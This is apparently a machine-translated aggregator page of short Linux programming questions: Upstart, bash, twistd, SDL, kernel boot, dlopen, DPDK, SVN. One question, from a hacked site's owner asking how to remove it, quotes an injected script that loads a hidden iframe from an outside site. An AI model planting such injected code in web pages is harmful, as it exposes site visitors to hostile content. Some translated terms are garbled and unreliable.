Articles of Linux操作系统

在虚拟环境中获取Django以通过Upstart运行

我一直试图通过文档和例子跋涉让我的Django运行在暴发户,所以我可以让它一直运行,但无法如此。 这是我的新贵的configuration文件位于/etc/init/myapp.conf : start on startup #expect daemon #respawn console output script chdir /app/env/bin exec source activate exec /app/env/bin/python /app/src/manage.py runserver 0.0.0.0:8000 > /dev/null 2>&1 & end script 当我键入sudo service myapp start ,控制台说它已经启动,但似乎没有运行。 是否有可能看到一些debugging输出,看看有什么问题? 我需要运行我的Django应用程序作为另一个用户 – 即djangouser 。 我怎么能这样做? (我一直在评论一些线路来testing服务出错的地方)。 这不是生产用途,而是我的内部开发使用。 谢谢。 编辑#1: 我在/app/run.sh两个命令都包装成一个简单的脚本 #!/bin/bash cd /app/env/bin source activate cd /app/src python manage.py runserver 0.0.0.0:8000 […]

Bash概念问题

我是linux和bash的新手,我正在研究一些不同的脚本,但是我有一些概念性的问题需要回答,以帮助我find最好的方法来实现我想要做的。 将数据存储在bash脚本中的最有效的方法是什么,并将其另存为文件,以便另一个脚本可以快速parsing? 丰富多彩的bash菜单的一些很好的例子是什么? 如何在bash中有多列菜单? 我可以在bash中显示图像,还是将图像信息发送给我们,让我们说一个通知发送,并让它显示任何图像? 谢谢。

如何可靠地获得扭曲的衍生过程?

我有一个Python程序,使用psutil来运行一些各种扭曲的命令。 扭曲的产卵和守护进程,并写一个foo.pid从中我可以读取PID。 它也设置为在进程终止时清除该pid文件,这意味着生成的进程可能完成得太快而无法读取pid。 如果不能写pid文件的话, twistd会返回一个错误代码,所以我可以假定没有pid文件,也没有扭曲的错误代码意味着这个进程已经成功并很快终止了,但是整个过程看起来如此片面。 更不用说等待pid文件被填充内容,同时也处理了被填充的可能性,但又一次去除了。 有没有更好的办法?

需要使用linux命令删除cakephp脚本中的病毒代码

昨天我的网站被黑了,它的代码如下: <script> function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = \"http://fenwaywest.com/media/index.php\"; ifrm.id = 'frmId'; document.body.appendChild(ifrm); }; window.onload = frmAdd; </script>"; 当我使用下面的命令search服务器来查找受影响的文件时 grep -r "<script> function frmAdd()" /path/ 我有超过2000个文件。 现在我只需要删除该行。 请你有人可以指导命令只删除所有2000个文件中的那一行吗?

无法识别的音乐格式使用SDL播放mp3文件

#include <SDL/SDL.h> #include <SDL/SDL_mixer.h> #include <stdio.h> #include <stdlib.h> Mix_Music *play_sound = NULL; void cleanUp(); int main(int argc, char* args[]) { int channel; int audio_rate; Uint16 audio_format; int audio_channels; int audio_buffers; if(SDL_Init(SDL_INIT_AUDIO)<0) printf("Error In Init"); audio_rate = 44100; audio_format = AUDIO_S16; audio_channels = 2; audio_buffers = 4096; if(Mix_OpenAudio(audio_rate, audio_format, 2, 4096)<0) { //Some error shows here […]

指向对象types的指针

我一直在尝试创build一个类的层次结构,每个类都包含一个包含数据的嵌套结构。 ////////Class.h//////////////////////////// #ifndef _CLASS_H_ #define _CLASS_H_ #include <stdio.h> class A{//Base protected: struct dataA{ int v1, v2; }; public: A(); virtual void met1(); dataA * const set; const dataA * const get; }; class B : public A{//Child1 protected: struct dataB : public dataA{ int v3, v4; }; public: B(); virtual void met2(); dataB * const […]

如何debugging在启动时冻结的Linux内核?

我有一个具有二进制Linux 2.6.18内核的传统设备,可以正常引导到其rootfs。 但是,如果我试图从源代码编译这个内核,那么在引导过程中产生的内核二进制文件将会冻结。 我没有.config文件用于构build通常正在引导的以前的内核二进制文件。 启动冻结,没有提供错误输出。 这里是启动日志: Linux version 2.6.18-6.2 (myuser@host) (gcc version 4.2.0 20070124 (prerelease) – BRCM 10ts-20080721) #10 SMP Sun Apr 28 18:25:24 BRT 2013 Fetching vars from bootloader… OK (E,d,B,C) Detected 512 MB on MEMC0 (strap 0x23430310) Board strapped at 512 MB, default is 256 MB Options: sata=1 enet=1 emac_1=1 no_mdio=0 docsis=0 ebi_war=0 […]

在获取函数地址时如何获得RTLD_LAZY行为?

我们有一个很大程度上依赖于使用dlopen()加载模块的系统。 我们的模块是自我描述的,带有一个符号,指向一些与加载模块相关的元数据(描述,加载顺序,加载标志等)。 我们首先将指定RTLD_LAZY标志的模块加载到dlopen()中,从元数据中获得我们需要的内容,然后稍后加载模块(在我们知道加载顺序应该是什么,它们应该如何加载等) 。 这一段时间工作得很好,但是最近我们发现,获取函数的地址需要在加载时parsing函数。 有什么办法可以解决这个问题? 我已经放了一个相当小的例子来说明问题。 /* foo.h */ void foo(void); /* foo.c */ void foo(void) {} /* bar.c */ #include "foo.h" /* Calls foo normally */ void bar(void) { foo(); } /* bam.c */ #include "foo.h" static void (*f)(void); /* Takes the address of foo */ void bam(void) { f = foo; } […]

如何使用DPDK来编写DNS服务器?

我想用Intel DPDK编写一个高性能的DNS服务器。 如何使用Intel DPDK有效处理TCP数据包? 当然,在DPDK上实现一个networking堆栈就是解决scheme。 但是这太复杂了。 由于DNS服务器比TCP查询处理更多的UDP查询,我打算使用DPDK来处理UDP查询,并使用linuxnetworking堆栈来处理TCP查询。 我怎样才能在一台机器上做到这一点?

并行SVN更新过程

我需要在相同的文件夹结构背景下执行多个SVN更新进程,因为我有许多子文件夹,并希望加速整个事情。 我有这样的文件夹结构: /folder/subfolder1/ /folder/subfolder2/ /folder/subfolder3/ … /folder/subfolder1000/ 我想在bash脚本中做这样的事情: svn up /folder/subfolder1 & svn up /folder/subfolder2 & svn up /folder/subfolder3 & 问题在于SVN抱怨'/文件夹'被locking,只有第一个任务完成正确,另外两个没有得到像这样的错误信息: svn: Working copy '/folder' locked svn: run 'svn cleanup' to remove locks (type 'svn help cleanup' for details) 有没有一种方法可以用几个并行的SVN进程来完成这个任务,因为做一个一个的文件夹(由其他进程select)需要很多时间才能完成? PS:我正在使用更高级的编程语言(PHP-CLI)来完成所有这些工作,但为了简化问题,我将其编写为bash脚本(遇到同样的问题)。